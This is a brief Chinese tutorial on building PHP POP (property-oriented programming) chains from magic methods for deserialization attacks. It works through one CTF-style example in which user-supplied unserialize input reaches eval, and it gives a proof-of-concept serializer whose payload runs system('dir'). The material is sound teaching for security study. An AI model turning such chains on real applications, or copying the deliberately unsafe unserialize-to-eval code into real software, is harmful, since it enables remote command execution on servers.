

pop链的构造

利用php对象自动调用魔术方法的特性，将多个类和方法串联起来，形成链式调用。

构造技巧：

1. 简单浏览，找出可能的漏洞点
2. 根据漏洞点反推，看逻辑是否可行（参数是否可写入，魔术方法能否触发，条件是否可达成）

先找注入点，判断注入需要的参数，找包含执行注入的函数，找函数条件a看是否满足，找条件a的条件b看是否满足，依次找下去。

3. 构造poc验证

找到条件从后往前构造，找到正确触发魔术方法的是谁（\$this指的是谁）

一道例题

一道简单的pop链例题

```
class test{
    private $index;

    function __construct()
    {
        $this->index=new index();
    }
    function __destruct()
    {
        $this->index->hello();
    }
}
class index{
    public function hello(){
        echo '你好啊~~';
    }
}
class execute{
    public $test;
    function hello(){
        eval($this->test);
    }
}
unserialize($_GET['test']);
```

3.将index设置为execute的实例需满足：__construct 不触发(反序列化test对象不会触发)

2.hello()执行需满足：__destruct可触发:(反序列化test对象之后自动执行)且将\$index=new execute()

1.漏洞利用点：使hello()可执行,利用eval执行系统命令\$test=system('dir');

蓝色：满足当前步骤所需条件
黄色：需要修改的参数赋值（也可能赋值也需满足一定条件）
红色：魔术方法触发与否及条件
灰色：漏洞利用点与方法
浅蓝色：上一步的条件

```
5 class test{
6     private $index;
7     function __construct()
8     {
9         $this->index=new execute();
10    }
11 }
12
13 class execute{
14     public $test="system('dir');";
15 }
16 $a=new test();
17 echo urlencode(serialize($a));
18
19 ?>
```